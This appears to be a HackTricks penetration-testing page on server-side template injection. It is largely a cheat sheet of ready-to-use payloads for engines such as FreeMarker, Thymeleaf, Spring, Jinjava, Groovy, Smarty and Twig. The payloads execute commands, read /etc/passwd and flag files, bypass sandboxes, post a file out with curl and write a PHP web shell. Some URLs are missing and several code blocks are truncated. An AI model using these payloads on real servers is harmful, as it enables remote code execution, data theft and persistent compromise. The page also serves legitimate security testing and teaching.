SSTI (Server Side Template Injection)

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

What is SSTI (Server-Side Template Injection)

Server-side template injection is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja.

Jinja is a popular template engine used in web applications. Let's consider an example that demonstrates a vulnerable code snippet using Jinja:

output = template.render(name=request.args.get('name'))

In this vulnerable code, the name parameter from the user's request is directly passed into the template using the render function. This can potentially allow an attacker to inject malicious code into the name parameter, leading to server-side template injection.

For instance, an attacker could craft a request with a payload like this:{{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.

To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.


To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:

  • Thrown errors, revealing the vulnerability and potentially the template engine.

  • Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.

  • Plaintext Context: Distinguish from XSS by checking if the server evaluates template expressions (e.g., {{7*7}}, ${7*7}).

  • Code Context: Confirm vulnerability by altering input parameters. For instance, changing greeting in to see if the server's output is dynamic or fixed, like in greeting=data.username}}hello returning the username.

Identification Phase

Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include ${7/0}, {{7/0}}, and <%= 7/0 %>. Observing the server's response to mathematical operations helps pinpoint the specific template engine.


an efficient SSTI + CSTI scanner which utilizes novel polyglots

tinja url -u "" -H "Authentication: Bearer ey..."
tinja url -u "" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 -i -l 5
python3 -u "" --crawl 5 --forms
python3 -u "" -s

python2.7 ./ -u '*' --os-shell
python2.7 ./ -u "*&comment=supercomment&link"
python2.7 ./ -u "*&comment=A&link" --level 5 -e jade

an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines.



In this wordlist you can find variables defined in the environments of some of the engines mentioned below:


Java - Basic injection

// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Retrieve the system’s environment variables


Java - Retrieve /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}


FreeMarker (Java)

You can try your payloads at

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ only works on Freemarker versions below 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

More information

Velocity (Java)

// I think this doesn't work
#foreach($i in [1..$out.available()])

// This should work?
#set($null=$process.waitFor() )

More information


In Thymeleaf, a common test for SSTI vulnerabilities is the expression ${7*7}, which also applies to this template engine. For potential remote code execution, expressions like the following can be used:

  • SpringEL:

  • OGNL:

    ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf requires these expressions to be placed within specific attributes. However, expression inlining is supported for other template locations, using syntax like [[...]] or [(...)]. Thus, a simple SSTI test payload might look like [[${7*7}]].

However, the likelihood of this payload working is generally low. Thymeleaf's default configuration doesn't support dynamic template generation; templates must be predefined. Developers would need to implement their own TemplateResolver to create templates from strings on-the-fly, which is uncommon.

Thymeleaf also offers expression preprocessing, where expressions within double underscores (__...__) are preprocessed. This feature can be utilized in the construction of expressions, as demonstrated in Thymeleaf's documentation:


Example of Vulnerability in Thymeleaf

Consider the following code snippet, which could be susceptible to exploitation:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt')}" th:title='pepito'>

This indicates that if the template engine processes these inputs improperly, it might lead to remote code execution accessing URLs like:


More information

pageEL - Expression Language

Spring Framework (Java)


Bypass filters

Multiple variable expressions can be used, if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

  • Read /etc/passwd

  • Custom Script for payload generation


## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T('
end_payload = '.getInputStream())}' 

count = 1
for i in converted:
    if count == 1:
        base_payload += f"(T(java.lang.Character).toString({i}).concat"
        count += 1
    elif count == len(converted):
        base_payload += f"(T(java.lang.Character).toString({i})))"
        base_payload += f"(T(java.lang.Character).toString({i})).concat"
        count += 1

print(base_payload + end_payload)

More Information

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
pageEL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Old version of Pebble ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

New version of Pebble :

{% set cmd = 'id' %}

{% set bytes = (1).TYPE
     .readAllBytes() %}
{{ (1).TYPE
     .newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is an open source project developed by Hubspot, available at

Jinjava - Command execution

Fixed by

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\");\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\");\")}}

More information

Hubspot - HuBL (Java)

  • {% %} statement delimiters

  • {{ }} expression delimiters

  • {# #} comment delimiters

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the Jinjava project on Github.

//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the 

{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}

//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\");\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\");\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

More information

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) is a fundamental feature that facilitates interaction between the presentation layer (like web pages) and the application logic (like managed beans) in JavaEE. It's used extensively across multiple JavaEE technologies to streamline this communication. The key JavaEE technologies utilizing EL include:

  • JavaServer Faces (JSF): Employs EL to bind components in JSF pages to the corresponding backend data and actions.

  • JavaServer Pages (JSP): EL is used in JSP for accessing and manipulating data within JSP pages, making it easier to connect page elements to the application data.

  • Contexts and Dependency Injection for Java EE (CDI): EL integrates with CDI to allow seamless interaction between the web layer and managed beans, ensuring a more coherent application structure.

Check the following page to learn more about the exploitation of EL interpreters:

pageEL - Expression Language

Groovy (Java)

The following Security Manager bypasses were taken from this writeup.

//Basic Payload
import groovy.*;
    cmd = "ping "
    assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
def x

//Payload to get output
import groovy.*;
    cmd = "whoami";
    out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
    cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + "";
    java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

Smarty (PHP)

{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

More information

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)

#File read

#Exec code
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Template format

$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)

More information

Plates (PHP)

Plates is a templating engine native to PHP, drawing inspiration from Twig. However, unlike Twig, which introduces a new syntax, Plates leverages native PHP code in templates, making it intuitive for PHP developers.


// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Page template:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Layout template:


More information

PHPlib and HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB is the same as PHPlib but ported to Pear.